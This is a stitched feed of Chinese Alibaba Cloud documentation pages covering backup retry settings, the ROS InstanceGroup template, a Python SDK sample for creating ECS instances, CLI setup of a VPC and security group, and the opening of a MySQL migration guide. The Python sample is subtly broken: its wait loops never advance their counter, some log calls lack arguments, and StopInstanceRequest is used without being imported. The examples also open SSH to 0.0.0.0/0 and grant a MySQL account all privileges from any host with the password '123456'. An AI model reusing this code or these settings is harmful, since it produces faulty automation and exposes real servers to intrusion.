        • 选择使用VSS后,不支持多个文件目录同时备份。
        Bandwidth Throttling
        • 流量控制。可以控制备份文件目录的所使用的流量,以免影响正常业务。
        • 如选择使用此功能,输入全时段备份可使用的最大流量。
        • 输入数值需为整数。单位默认为MB。
        • 可不填,默认不限流。

      7. 单击上传文件,上传填写好的模板。
      8. 单击创建

      在线浏览备份文件

      您可以通过混合云备份的在线浏览功能快速浏览每个备份计划下的所有文件。

      1. 备份计划和任务页签,单击对应备份任务右侧的查看

      2. 单击浏览

        浏览页签,查看源目录下的所有文件。

        注意 本页面只提供浏览功能,如需恢复ECS文件,请参见恢复ECS文件

      相关操作

      ECS文件备份页面,单击备份计划和任务页签,您可以进行如下相关操作。
      操作 步骤
      查看错误报告 在备份计划任务右侧,查看备份进度。如部分文件备份失败,单击查看,在错误数量一栏,单击下载图标下载错误报告
      开始备份 在备份计划任务右侧的操作列表,选择更多 > 立即执行
      取消执行中的备份任务 在备份计划任务右侧的操作列表,选择更多 > 取消执行
      暂停执行中的备份任务 在备份计划任务右侧的操作列表,更多 > 暂停
      继续执行已暂停的备份任务 在备份计划任务右侧的操作列表,选择更多 > 继续
      修改备份计划 在备份计划任务右侧的操作列表,选择更多 > 编辑
      删除备份计划 在备份计划任务右侧的操作列表,选择更多 > 删除。备份计划删除后,该备份计划不会继续执行,但仍保留已备份的数据。

      FAQ

      当您文件备份因为网络不稳定等因素造成失败时,可以通过以下步骤配置相关参数进行失败后重试。

      1. 登录需要备份文件的服务器。
      2. 找到并打开混合云备份客户端的安装路径。
      3. client文件夹的子目录下,创建文件hbr.config

        说明 hbr.config的位置与hybridebackup以及ids可执行程序级别相同。

      4. hbr.config文件中添加以下参数。
        参数 说明
        retry_times 数据备份重试次数,默认3次。
        retry_interval 数据备份重试间隔,默认100ms。
        skip_error_files 是否跳过备份失败文件。
        • false(默认值):不跳过备份失败文件。
        • true:跳过备份失败文件。

      hbr.config文件的配置示例如下:

      retry_times=3
      retry_interval=100
      skip_error_files=false

      ]]> ALIYUN::ECS::InstanceGroup_ECS_资源类型_资源编排-阿里云 Fri, 02 May 2025 09:39:04 +0800 ALIYUN::ECS::InstanceGroup

      更新时间:2020-05-13 15:16:33

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      ALIYUN::ECS::InstanceGroup类型用于创建一组相同配置的ECS实例。

      语法

      {
        "Type": "ALIYUN::ECS::InstanceGroup",
        "Properties": {
          "SystemDiskAutoSnapshotPolicyId": String,
          "DedicatedHostId": String,
          "Period": Number,
          "LaunchTemplateName": String,
          "AutoRenew": String,
          "RamRoleName": String,
          "IoOptimized": String,
          "InternetChargeType": String,
          "PrivateIpAddress": String,
          "KeyPairName": String,
          "SystemDiskDiskName": String,
          "PeriodUnit": String,
          "Description": String,
          "Tags": List,
          "HostName": String,
          "AutoRenewPeriod": Number,
          "ImageId": String,
          "ResourceGroupId": String,
          "InstanceChargeType": String,
          "VSwitchId": String,
          "EniMappings": List,
          "Password": String,
          "InstanceType": String,
          "MaxAmount": Integer,
          "AutoReleaseTime": String,
          "SystemDiskCategory": String,
          "UserData": String,
          "LaunchTemplateId": String,
          "LaunchTemplateVersion": String,
          "SystemDiskSize": Number,
          "ZoneId": String,
          "InternetMaxBandwidthOut": Integer,
          "VpcId": String,
          "SpotStrategy": String,
          "InstanceName": String,
          "InternetMaxBandwidthIn": Integer,
          "DeletionProtection": Boolean,
          "DeploymentSetId": String,
          "Ipv6AddressCount": Integer,
          "SecurityGroupId": String,
          "SpotPriceLimit": String,
          "HpcClusterId": String,
          "AllocatePublicIP": Boolean,
          "SystemDiskDescription": String,
          "Ipv6Addresses": List,
          "NetworkType": String,
          "DiskMappings": List,
          "SystemDiskPerformanceLevel": String
        }
      }

      属性

      属性名称 类型 必须 允许更新 描述 约束
      ResourceGroupId String 实例所在的企业资源组ID
      HpcClusterId String 实例所属的HPC集群ID
      MaxAmount Integer 一次性创建ECS实例的个数 取值范围:1~100
      Description String 描述信息 最长256个字符
      InstanceType String ECS实例规格 详情请参见ECS实例规格
      ImageId String 用于启动ECS实例的镜像ID,包括公共镜像、自定义镜像和云市场镜像。 支持通过模糊的方式指定公共镜像ID,而不需要指定一个完整的公共镜像ID。例如:
      • 指定Ubuntu,最终会匹配ubuntu_16_0402_64_20G_alibase_20170818.vhd。
      • 指定ubuntu1432,最终会匹配ubuntu_14_0405_32_40G_alibase_20170711.vhd。
      详情请参见请求参数
      SecurityGroupId String 指定创建实例所属安全组
      InstanceName String 实例名称 最长128个字符。可包含英文、中文、数字、下划线(_)、英文句点(.)和短划线(-)。

      通过name_prefix[begin_number,bits]name_suffix格式为各个ECS实例指定不同的实例名,详情请参见请求参数

      Password String ECS实例登录密码
      • 长度为8~30个字符。
      • 必须同时包含三项(大写字母、小写字母、数字和特殊字符)。
      • 支持以下特殊字符:( ) ` ~ ! @ # $ % ^ & * - + = | { } [ ] : ; ‘ < > , . ? /
      如果传入Password参数,请使用HTTPS协议调用API,以免发生密码泄露。
      HostName String 主机名 长度最少2个字符。英文句点(.)和短划线(-)不能作为hostname的首尾字符,且不能连续使用。详情请参见请求参数
      AllocatePublicIP Boolean 是否创建公网IP 如果InternetMaxBandwidthOut为0,则不会分配公网IP。

      取值:

      • true(默认值)
      • false
      AutoReleaseTime String ECS实例自动释放的时间 时间格式必须遵守ISO8601规范,例如"yyyy-MM-ddTHH:mm:ssZ"。释放时间不能超过三年。
      PrivateIpAddress String 实例私网IP地址 专有网络VPC类型ECS实例设置私网IP地址时,必须从虚拟交换机的空闲网段中选择。

      说明 如果设置PrivateIpAddress,MaxAmount取值只能为1。

      DiskMappings List 为ECS实例创建的数据盘 最多创建16块数据盘。

      修改该参数,不会影响已创建的实例,新创建的实例会使用修改后的值。

      InternetChargeType String 公网访问带宽计费方式 取值:
      • PayByBandwidth:按固定带宽计费
      • PayByTraffic(默认值):按流量计费
      InternetMaxBandwidthIn Integer 公网最大入网带宽
      • 单位:Mbps。
      • 取值范围:1~100。
      • 默认值:100。
      InternetMaxBandwidthOut Integer 公网出带宽最大值
      • 单位:Mbit/s。
      • 取值范围:0~100。
      • 默认值:0。
      IoOptimized String 是否创建I/O优化实例 取值:
      • none:非 I/O 优化)
      • optimized(默认值):I/O 优化
      SystemDiskCategory String 系统盘类型 取值:
      • cloud:普通云盘
      • cloud_efficiency:高效云盘
      • cloud_ssd:SSD云盘
      • cloud_essd:ESSD云盘
      • ephemeral_ssd:本地SSD盘
      SystemDiskDescription String 系统盘描述信息
      SystemDiskDiskName String 系统盘名称
      SystemDiskSize Number 系统盘大小 取值范围:40GB~500GB。

      如果使用自定义镜像创建系统盘,需要保证系统盘大于自定义镜像大小。

      Tags List 用户自定义标签 最多支持20个标签,格式:[{"Key":"tagKey","Value":"tagValue"},{"Key":"tagKey2","Value":"tagValue2"}]
      UserData String 创建ECS实例时传递的用户数据。 内容需要限制在16KB以内。无需用Base64转码,特殊字符需要使用转义符。
      ZoneId String 可用区ID
      VpcId String 虚拟专有网络ID
      VSwitchId String 交换机ID
      KeyPairName String ECS实例绑定的密钥对名称
      • 如果是Windows ECS实例,则忽略该参数。默认为空。
      • 如果已填写KeyPairName,Password的内容仍会被设置到实例中,但是Linux系统中的密码登录方式会被禁止。
      RamRoleName String 实例RAM角色名称 您可以调用ListRoles查询实例RAM角色名称,详情请参见CreateRoleListRoles
      SpotPriceLimit String 实例的每小时最高价格 最大支持3位小数。当SpotStrategy为SpotWithPriceLimit时,此参数生效。
      SpotStrategy String 后付费实例的竞价策略 当InstanceChargeType为PostPaid时,此参数生效。取值:
      • NoSpot(正常按量付费实例):默认值
      • SpotWithPriceLimit(设置上限价格的竞价实例)
      • SpotAsPriceGo(系统自动出价,最高按量付费价格)
      DedicatedHostId String 专有宿主机ID
      LaunchTemplateName String 启动模板名称
      PeriodUnit String 购买资源的时长周期 取值:
      • Week
      • Month(默认值)
      AutoRenewPeriod Number 每次自动续费的时长 当AutoRenew为True时,此参数为必填参数。

      取值:

      • 1(默认值)
      • 2
      • 3
      • 6
      • 12

      AutoRenew String 是否要自动续费 当InstanceChargeType为PrePaid时,此参数生效。取值:
      • True:自动续费
      • False(默认值):不自动续费
      InstanceChargeType String 实例的付费方式 取值:
      • PrePaid:预付费,包年包月
      • PostPaid(默认值):按量付费
      当取值为PrePaid时,您必须确认自己的账号支持余额支付/信用支付,否则将返回InvalidPayMethod错误消息提示。
      EniMappings List 附加到实例的弹性网卡 附加到实例的弹性网卡个数最多为1个
      LaunchTemplateId String 启动模板ID
      LaunchTemplateVersion String 启动模板的版本 如果没有指定版本,则使用默认版本。
      Period Number 购买资源的时长 当InstanceChargeType为PrePaid时,该参数生效且为必选参数。一旦指定了DedicatedHostId,则取值不能超过专有宿主机的订阅时长。
      • 当PeriodUnit为Week时,Period取值:1,2,3,4。
      • 当PeriodUnit为Month时,Period取值:1,2,3,4,5,6,7,8,9,12,24,36,48,60。
      NetworkType String ECS实例网络类型 取值:
      • vpc
      • classic(默认值)
      DeletionProtection Boolean 实例释放保护属性,指定是否支持通过控制台或API(DeleteInstance)释放实例。 取值:
      • true
      • false
      DeploymentSetId String 部署集ID
      Ipv6AddressCount Integer 为弹性网卡指定随机生成的IPv6地址数量 不能同时指定参数Ipv6Addresses和Ipv6AddressCount。
      Ipv6Addresses List 为弹性网卡指定一个或多个IPv6地址 最多指定一个IPv6地址。属性的更改不影响现有实例。不能同时指定Ipv6Addresses和Ipv6AddressCount。
      SystemDiskAutoSnapshotPolicyId String 系统盘自动快照策略ID
      SystemDiskPerformanceLevel String 创建ESSD云盘作为系统盘使用时,设置云盘的性能等级。 取值:
      • PL1(默认值):单盘最高随机读写IOPS为5万。
      • PL2:单盘最高随机读写IOPS为10万。
      • PL3:单盘最高随机读写IOPS为100万。
      有关如何选择ESSD性能等级,请参见ESSD云盘

      DiskMappings语法

      "DiskMappings": [
        {
          "Category": String,
          "DiskName": String,
          "Description": String,
          "Device": String,
          "SnapshotId": String,
          "Size": String,
          "Encrypted": String,
          "KMSKeyId": String,
          "PerformanceLevel": String,
          "AutoSnapshotPolicyId": String
        }
      ]

      DiskMappings属性

      属性名称 类型 必须 允许更新 描述 约束
      Size String 数据盘大小 单位:GB。
      Category String 数据盘的类型 取值:
      • cloud
      • cloud_efficiency
      • cloud_ssd
      • cloud_essd
      • ephemeral_ssd
      对于I/O优化实例,默认值为cloud_efficiency。对于非I/O优化实例,默认值为cloud。
      DiskName String 数据盘的名称 最长128个字符。可包含英文、中文、数字、下划线(_)、英文句点(.)和短划线(-)。
      Description String 数据盘的描述 长度为2~256个字符。不能以http://https://开头。
      Device String 数据盘在ECS中的名称。

      说明 该参数即将停止使用,为提高兼容性,请尽量使用其他参数。

      SnapshotId String 快照ID
      Encrypted Boolean 数据盘是否加密 取值:
      • true
      • false(默认值)
      KMSKeyId String 数据盘对应的KMS密钥ID
      AutoSnapshotPolicyId String 自动快照策略ID
      PerformanceLevel String 创建ESSD云盘作为数据盘使用时,设置云盘的性能等级。 取值:
      • PL1(默认值):单盘最高随机读写IOPS为5万。
      • PL2:单盘最高随机读写IOPS为10万。
      • PL3:单盘最高随机读写IOPS为100万。
      有关如何选择ESSD性能等级,请参见ESSD云盘

      Tags语法

      "Tags": [
        {
          "Value": String,
          "Key": String
        }
      ]

      Tags属性

      属性名称 类型 必须 允许更新 描述 约束
      Key String 标签键 长度为1~128个字符,不能以aliyunacs:开头,不能包含http://或者https://
      Value String 标签值 长度为0~128个字符,不能以aliyunacs:开头,不能包含http://或者https://

      EniMappings语法

      "EniMappings": [
        {
          "SecurityGroupId": String,
          "VSwitchId": String,
          "Description": String,
          "NetworkInterfaceName": String,
          "PrimaryIpAddress": String
        }
      ]

      EniMappings属性

      属性名称 类型 必须 允许更新 描述 约束
      SecurityGroupId String 安全组ID 所属的安全组ID必须是同一个VPC下的安全组。
      VSwitchId String 交换机ID
      Description String 弹性网卡的描述信息 长度为2~256个英文或中文字符,不能以http://https://开头。
      NetworkInterfaceName String 弹性网卡名称
      • 长度为2~128个英文或中文字符。
      • 必须以大小字母或中文开头,不能以http://https://开头。
      • 可以包含数字、半角冒号(:)、下划线(_)或者短划线(-)。
      PrimaryIpAddress String 弹性网卡的主私有IP地址 指定的IP必须是在所属交换机的地址段内的空闲地址。如果不指定IP,则默认随机分配该交换机中的空闲地址。

      返回值

      Fn::GetAtt

      • InstanceIds:实例ID,是访问实例的唯一标识。由系统生成,全局唯一。
      • PrivateIps:VPC类型实例的私网IP列表。当NetworkType为VPC时,此参数生效。例如,一个带有格式的JSON Array:["172.16.XX.XX", "172.16.XX.XX", … "172.16.XX.XX"],最多100个IP,用半角逗号字符隔开。
      • InnerIps:Classic类型实例的私网IP列表。当NetworkType为Classic时,此参数生效。例如,一个带有格式的JSON Array:["10.1.XX.XX", "10.1.XX.XX", … "10.1.XX.XX"],最多100个IP,用半角逗号字符隔开。
      • PublicIps:Classic类型实例的公网IP列表。当NetworkType为Classic时,此参数生效。例如,一个带有格式的JSON Array:["42.1.XX.XX", "42.1.XX.XX", … "42.1.XX.XX"],最多100个IP,用半角逗号(,)隔开。
      • HostNames:所有实例的主机名称列表。
      • OrderId: 实例的订单ID列表。
      • ZoneIds: 可用区ID。
      • RelatedOrderIds: 已创建ECS实例的相关订单ID列表。

      示例

      {
        "ROSTemplateFormatVersion":"2015-09-01",
        "Resources":{
          "WebServer": {
            "Type": "ALIYUN::ECS::InstanceGroup",
            "Properties": {
              "ImageId":"m-25l0r****",
              "InstanceType": "ecs.t1.small",
              "SecurityGroupId": "sg-25zwc****",
              "ZoneId": "cn-beijing-b",
              "MaxAmount":1,
              "Tags": [{
                  "Key": "tiantt",
                  "Value": "ros"
              },{
                  "Key": "tiantt1",
                  "Value": "ros1"
              }
              ]
            }
          }
        },
        "Outputs": {
          "InstanceIds": {
               "Value":{"get_attr": ["WebServer","InstanceIds"]}
          },
          "PublicIps": {
               "Value":{"get_attr": ["WebServer","PublicIps"]}
          }
        }
      }

      ]]> 创建ECS实例_Python示例_SDK示例_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 创建ECS实例

      更新时间:2020-04-28 18:46:22

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文以Python SDK为例,为您演示如何通过CreateInstance等阿里云API弹性地创建和管理ECS实例。

      背景信息

      本文提供了创建ECS实例的完整代码示例,并提供了代码示例解析,详情请参见:

      更多代码示例请参见阿里云代码示例库(CodeSample)

      完整代码

      本文的完整代码如下所示,您可以自行根据实际情况修改和设置参数取值。

      #  coding=utf-8
      # if the python sdk is not install using 'sudo pip install aliyun-python-sdk-ecs'
      # if the python sdk is install using 'sudo pip install --upgrade aliyun-python-sdk-ecs'
      # make sure the sdk version is 4.4.3, you can use command 'pip show aliyun-python-sdk-ecs' to check
      import json
      import logging
      import time
      from aliyunsdkcore import client
      from aliyunsdkecs.request.v20140526.CreateInstanceRequest import CreateInstanceRequest
      from aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest
      from aliyunsdkecs.request.v20140526.StartInstanceRequest import StartInstanceRequest
      # configuration the log output formatter, if you want to save the output to file,
      # append ",filename='ecs_invoke.log'" after datefmt.
      
      logging.basicConfig(level=logging.INFO, format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s', datefmt='%a, %d %b %Y %H:%M:%S')
      
      clt = client.AcsClient('<accessKeyId>', '<accessSecret>', '<region-Id>')
      IMAGE_ID = 'ubuntu_18_04_64_20G_alibase_20190624.vhd'
      INSTANCE_TYPE = 'ecs.g6.large'
      SECURITY_GROUP_ID = 'sg-bp1i4c0xgqxadew2****'
      INSTANCE_RUNNING = 'Running'
      VSWITCH_ID = 'vsw-bp1ddbrxdlrcbim46****'
      
      def create_instance_action():
          instance_id = create_after_pay_instance(IMAGE_ID, INSTANCE_TYPE, SECURITY_GROUP_ID, VSWITCH_ID)
          check_instance_running(instance_id)
      
      # def create_prepay_instance_action():
      #     instance_id = create_prepay_instance(IMAGE_ID, INSTANCE_TYPE, SECURITY_GROUP_ID, VSWITCH_ID)
      #     check_instance_running(instance_id=instance_id)
      
      # create one after pay ecs instance.
      def create_after_pay_instance(image_id, instance_type, security_group_id, vsw_vswitch_id):
          request = CreateInstanceRequest()
          request.set_ImageId(image_id)
          request.set_SecurityGroupId(security_group_id)
          request.set_InstanceType(instance_type)
          request.set_IoOptimized('optimized')
          request.set_VSwitchId(vsw_vswitch_id)
          request.set_SystemDiskCategory('cloud_ssd')
          response = _send_request(request)
          instance_id = response.get('InstanceId')
          logging.info("instance %s created task submit successfully.", instance_id)
          return instance_id
      
      # create one prepay ecs instance.
      def create_prepay_instance(image_id, instance_type, security_group_id, vsw_vswitch_id):
          request = CreateInstanceRequest()
          request.set_ImageId(image_id)
          request.set_SecurityGroupId(security_group_id)
          request.set_InstanceType(instance_type)
          request.set_IoOptimized('optimized')
          request.set_VSwitchId(vsw_vswitch_id)
          request.set_SystemDiskCategory('cloud_ssd')
          request.set_Period(1)
          request.set_InstanceChargeType('PrePaid')
          response = _send_request(request)
          instance_id = response.get('InstanceId')
          logging.info("instance %s created task submit successfully.", instance_id)
          return instance_id
      
      def check_instance_running(instance_id):
          detail = get_instance_detail_by_id(instance_id, INSTANCE_RUNNING)
          index = 0
          while detail is None and index < 60:
              detail = get_instance_detail_by_id(instance_id)
              time.sleep(10)
          if detail and detail.get('Status') == 'Stopped':
              logging.info("instance %s is stopped now.")
              start_instance(instance_id)
              logging.info("start instance %s job submit.")
          detail = get_instance_detail_by_id(instance_id, INSTANCE_RUNNING)
          while detail is None and index < 60:
              detail = get_instance_detail_by_id(instance_id, INSTANCE_RUNNING)
              time.sleep(10)
          logging.info("instance %s is running now.", instance_id)
          return instance_id
      
      def start_instance(instance_id):
          request = StartInstanceRequest()
          request.set_InstanceId(instance_id)
          _send_request(request)
      
      # output the instance owned in current region.
      def get_instance_detail_by_id(instance_id, status='Stopped'):
          logging.info("Check instance %s status is %s", instance_id, status)
          request = DescribeInstancesRequest()
          request.set_InstanceIds(json.dumps([instance_id]))
          response = _send_request(request)
          instance_detail = None
          if response is not None:
              instance_list = response.get('Instances').get('Instance')
              for item in instance_list:
                  if item.get('Status') == status:
                      instance_detail = item
                      break
              return instance_detail
      
      # send open api request
      def _send_request(request):
          request.set_accept_format('json')
          try:
              response_str = clt.do_action(request)
              logging.info(response_str)
              response_detail = json.loads(response_str)
              return response_detail
          except Exception as e:
              logging.error(e)
      
      if __name__ == '__main__':
          logging.info("Create ECS by OpenApi!")
          create_instance_action()
          # create_prepay_instance_action()

      创建按量付费ECS实例

      前提条件:使用按量付费服务,您的账户账号不得少于100元,您可以在阿里云用户中心完成账号充值。

      必选属性:

      • SecurityGroupId:安全组ID。安全组相当于虚拟防火墙,通过安全组规则控制和保护实例的网络出入请求。建议按需开放和设置安全组出入规则时,不要默认开放所有的出入规则。更多详情,请参见CreateSecurityGroup
      • InstanceType:实例规格。例如,选择2核8GiB g6.large则入参为ecs.g6.large。更多详情,请参见实例规格族汇总
      • ImageId:镜像ID。您可以使用公共镜像或者自定义镜像。更多详情,请参见DescribeImages
      • VSwitchId:交换机ID。创建一台VPC类型的ECS实例需要指定交换机ID。更多详情,请参见DescribeVSwitches

      1. 创建ECS实例。

        如以下代码所示,创建一台VPC类型的ECS实例,使用SSD云盘做系统盘,对应参数值为cloud_ssd,选择I/O优化实例则传入optimized属性。CreateInstance还提供了其他请求参数,如何调整,请参见CreateInstance

        # create one after pay ecs instance.
        def create_after_pay_instance(image_id, instance_type, security_group_id, vsw_vswitch_id):
            request = CreateInstanceRequest()
            request.set_ImageId(image_id)
            request.set_SecurityGroupId(security_group_id)
            request.set_InstanceType(instance_type)
            request.set_IoOptimized('optimized')
            request.set_VSwitchId(vsw_vswitch_id)
            request.set_SystemDiskCategory('cloud_ssd')
            response = _send_request(request)
            instance_id = response.get('InstanceId')
            logging.info("instance %s created task submit successfully.", instance_id)
            return instance_id

      2. 查询ECS实例状态。

        有关ECS实例的状态信息,请参见实例生命周期介绍。其中:

        • Stopped状态的实例可以执行StartInstance操作。
        • Running状态的实例可以执行StopInstance操作。

        查询ECS实例状态可以通过实例ID(InstanceId)过滤。在DescribeInstances请求中通过传入JSON数组格式的String参数来查询实例状态,详情请参见DescribeInstances。以下代码会检查实例的状态,并返回相应的实例信息:

        # output the instance owned in current region.
        def get_instance_detail_by_id(instance_id, status='Stopped'):
            logging.info("Check instance %s status is %s", instance_id, status)
            request = DescribeInstancesRequest()
            request.set_InstanceIds(json.dumps([instance_id]))
            response = _send_request(request)
            instance_detail = None
            if response is not None:
                instance_list = response.get('Instances').get('Instance')
                for item in instance_list:
                    if item.get('Status') == status:
                        instance_detail = item
                        break
                return instance_detail

      3. 启动ECS实例。

        创建成功后的ECS实例默认状态为Stopped。如果需要实例进入Running状态,可以通过StartInstance完成,详情请参见StartInstance

        def start_instance(instance_id):
            request = StartInstanceRequest()
            request.set_InstanceId(instance_id)
            _send_request(request)

      4. 可选:停止ECS实例。

        如果需要运行中的实例进入Stopped状态,可以通过StopInstance完成,详情请参见StopInstance

        def stop_instance(instance_id):
            request = StopInstanceRequest()
            request.set_InstanceId(instance_id)
            _send_request(request)

      创建实例时自动检测并启动ECS实例

      ECS实例的启动和停止都是异步操作,您可以在脚本创建并同时检测ECS实例符合状态时执行相应操作。以下示例代码的逻辑是:

      1. 得到实例ID后,自动检测实例是否处于Stopped的状态。
      2. 如果是Stopped,发起StartInstance指令。
      3. 等待ECS实例进入Running状态。
      def check_instance_running(instance_id):
          detail = get_instance_detail_by_id(instance_id, INSTANCE_RUNNING)
          index = 0
          while detail is None and index < 60:
              detail = get_instance_detail_by_id(instance_id)
              time.sleep(10)
          if detail and detail.get('Status') == 'Stopped':
              logging.info("instance %s is stopped now.")
              start_instance(instance_id)
              logging.info("start instance %s job submit.")
          detail = get_instance_detail_by_id(instance_id, INSTANCE_RUNNING)
          while detail is None and index < 60:
              detail = get_instance_detail_by_id(instance_id, INSTANCE_RUNNING)
              time.sleep(10)
          logging.info("instance %s is running now.", instance_id)
          return instance_id

      分配公网IP

      如果在创建ECS实例的过程中,指定了公网带宽,若需要公网的访问权限请调用API来分配公网IP。更多详情,请参见AllocatePublicIpAddress

      创建包年包月ECS实例

      前提条件:通过API创建包年包月ECS实例的流程与ECS控制台创建流程不同,API流程使用的是自动扣费的模式。请在创建ECS实例之前确保账号支付方式有足够的余额或者信用额度,在创建ECS实例时实行直接扣费。

      与创建按量付费ECS实例相比,您需要指定计费方式和计费时长。以下示例的时长为一个月。

      request.set_Period(1)
      request.set_InstanceChargeType(‘PrePaid’)

      创建包年包月实例的示例代码如下:

      # create one prepay ecs instance.
      def create_prepay_instance(image_id, instance_type, security_group_id, vsw_vswitch_id):
          request = CreateInstanceRequest()
          request.set_ImageId(image_id)
          request.set_SecurityGroupId(security_group_id)
          request.set_InstanceType(instance_type)
          request.set_IoOptimized('optimized')
          request.set_VSwitchId(vsw_vswitch_id)
          request.set_SystemDiskCategory('cloud_ssd')
          request.set_Period(1)
          request.set_InstanceChargeType('PrePaid')
          response = _send_request(request)
          instance_id = response.get('InstanceId')
          logging.info("instance %s created task submit successfully.", instance_id)
          return instance_id

      ]]> 通过CLI使用ECS实例_快速入门_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过CLI使用ECS实例

      更新时间:2020-05-14 22:22:15

      本页目录

      如果您平时习惯使用CLI方式运维阿里云资源,可以通过CLoud Shell以CLI方式快速创建ECS实例。

      登录阿里云CLoud Shell控制台

      1. 登录ECS管理控制台

      2. 单击右上角的Cloud Shell图标,进入CLoud Shell控制台。

        cloud shell

      创建ECS实例准备工作

      在创建ECS实例前,您需要先创建专有网络VPC和安全组。

      1. 创建VPC。

        华东1 杭州创建专有网络VPC,VPC网段为192.168.0.0/16。
        API 参数 示例取值
        CreateVpc RegionId 地域:cn-hangzhou
        CidrBlock VPC网段:192.168.0.0/16

        执行以下命令创建VPC。

        aliyun vpc CreateVpc          
        --RegionId cn-hangzhou        
        --CidrBlock 192.168.0.0/16

        返回结果如下所示。

        {
                "RequestId": "EC94C73B-8103-4B86-B353-E65C7C9E****",
                "ResourceGroupId": "rg-acfmzw2jz2z****",
                "RouteTableId": "vtb-bp1jxpr9ji5wcn4yv****",
                "VRouterId": "vrt-bp1dyxemup2q4ouga****",
                "VpcId": "vpc-bp1d9v4763ym2hlzt****"
        }

      2. 创建交换机。

        在VPC中创建交换机,交换机网段为192.168.0.0/24。
        API 参数 示例取值
        CreateVSwitch ZoneId 可用区:cn-hangzhou-i
        VpcId VPC ID:根据CreateVpc返回结果。

        示例:vpc-bp1d9v4763ym2hlzt****

        CidrBlock 交换机网段:192.168.0.0/24

        执行以下命令创建交换机。

        aliyun vpc CreateVSwitch 
        --CidrBlock 192.168.0.0/24 
        --VpcId vpc-bp1d9v4763ym2hlzt**** 
        --ZoneId=cn-hangzhou-i

        返回结果如下所示。

        {
                "RequestId": "AF1787C4-0D81-44F0-A324-D5C54EA0****",
                "VSwitchId": "vsw-bp11hf5r945gewysp****"
        }

      3. 创建安全组。

        API 参数 示例取值
        CreateSecurityGroup RegionId 地域:cn-hangzhou
        VpcId VPC ID:根据CreateVpc返回结果。

        示例:vpc-bp1d9v4763ym2hlzt****

        执行以下命令创建安全组。

        aliyun ecs CreateSecurityGroup 
        --RegionId cn-hangzhou 
        --VpcId vpc-bp1d9v4763ym2hlzt****

        返回结果如下所示。

        {
                "RequestId": "B1C25C34-9B84-49E3-9E50-FB7D7970****",
                "SecurityGroupId": "sg-bp18z2q1jg4gq95t****"
        }

      4. 在安全组中添加入方向放行规则。

        API 参数 示例取值
        AuthorizeSecurityGroup RegionId 地域:cn-hangzhou
        SecurityGroupId 安全组ID:根据CreateSecurityGroup返回结果。

        示例:sg-bp18z2q1jg4gq95t****

        IpProtocol 协议:tcp
        SourceCidrIp 源CIDR:0.0.0.0/0
        PortRange 端口范围:
        • Linux实例:22/22
        • Windows实例:3389/3389

        执行以下命令添加安全组规则。

        aliyun ecs AuthorizeSecurityGroup  
        --RegionId cn-hangzhou 
        --SecurityGroupId sg-bp18z2q1jg4gq95t**** 
        --IpProtocol tcp 
        --SourceCidrIp 0.0.0.0/0 
        --PortRange 22/22

        返回结果如下所示。

        {
                "RequestId": "FA8B1E61-C9C9-4D91-9628-64B8E2F4****"
        }

      购买ECS实例

      购买一个包年包月的ECS实例。

      API 参数 示例取值
      RunInstances RegionId 地域:cn-hangzhou
      ImageId 镜像:推荐使用Aliyun Linux镜像aliyun_2_1903_x64_20G_alibase_20200324.vhd
      InstanceType 实例规格:
      • 个人应用:推荐选择1核2G的实例规格ecs.s6-c1m2.small
      • 中小企业应用:推荐选择2核4G的实例规格ecs.c5.large
      SecurityGroupId 安全组ID:根据CreateSecurityGroup返回结果。

      示例:sg-bp18z2q1jg4gq95t****

      VSwitchId 交换机ID:根据CreateVSwitch返回结果。

      示例:vsw-bp11hf5r945gewysp****

      InstanceName 实例名称。

      示例:ecs_cli_demo

      InstanceChargeType 付费方式:实例按照包年包月的付费方式PrePaid

      说明 您需要确保账号余额能够完成支付。

      PeriodUnit 付费周期单位:Month
      Period 付费时长:1
      InternetMaxBandwidthOut 公网IP带宽:1
      Password 实例登录密码:<yourPassword>

      说明 您需要自定义复杂密码以保护ECS实例的安全。

      执行以下命令创建包年包月的ECS实例。

      aliyun ecs RunInstances 
      --RegionId cn-hangzhou 
      --ImageId aliyun_2_1903_x64_20G_alibase_20200324.vhd 
      --InstanceType ecs.s6-c1m2.small 
      --SecurityGroupId sg-bp18z2q1jg4gq95t**** 
      --VSwitchId vsw-bp11hf5r945gewys**** 
      --InstanceName ecs_cli_demo 
      --InstanceChargeType PrePaid 
      --PeriodUnit Month 
      --Period 1 
      --InternetMaxBandwidthOut 1 
      --Password <yourPassword>

      返回结果如下所示。

      {
              "InstanceIdSets": {
                      "InstanceIdSet": [
                              "i-bp1ducce5hs1jm98****"
                      ]
              },
              "RequestId": "7F0166F9-9466-4AE1-8799-E68D6514****",
              "TradePrice": ****
      }

      连接ECS实例

      此示例介绍通过Cloud Shell登录Linux实例。如果您安装的是Windows实例,登录方式请参见在本地客户端上连接Windows实例

      1. 查询实例公网IP地址。

        API 参数 示例取值
        DescribeInstances RegionId 地域:cn-hangzhou
        InstanceIds 实例ID:根据RunInstances返回结果。

        示例:'["i-bp1ducce5hs1jm98****"]'

        执行以下命令查询实例公网IP。

        aliyun ecs DescribeInstances 
        --RegionId cn-hangzhou 
        --InstanceIds '["i-bp1ducce5hs1jm98****"]'

        在返回结果中找到以下公网IP信息。

        公网IP

      2. 通过SSH登录ECS实例。

        ssh登录

      实例到期释放

      包年包月实例到期后,您可以手动释放。如果一直未续费,实例也会自动释放。

      ]]> ECS实例自建数据库间迁移_ECS自建数据库_迁移服务_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS实例自建数据库间迁移

      更新时间:2019-09-29 11:03:11

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      数据传输服务(Data Transmission Service,简称DTS)是阿里云提供的支持RDBMS、NoSQL、OLAP等多种数据源之间数据交互的数据服务。本文以MySQL数据库为例,介绍如何配置DTS迁移任务,实现ECS实例上自建数据库间的数据迁移。

      前提条件

      • 在目标ECS实例的安全组中放行MySQL监听的端口。MySQL监听的默认端口号为3306。
      • 分别为源ECS实例和目标ECS实例上的MySQL数据库创建非root账号。

        例如,您可以运行以下命令为MySQL数据库创建名为dts、密码为123456的账号。

        grant all on *.*  to 'dts'@'%'  IDENTIFIED BY '123456';

      背景信息

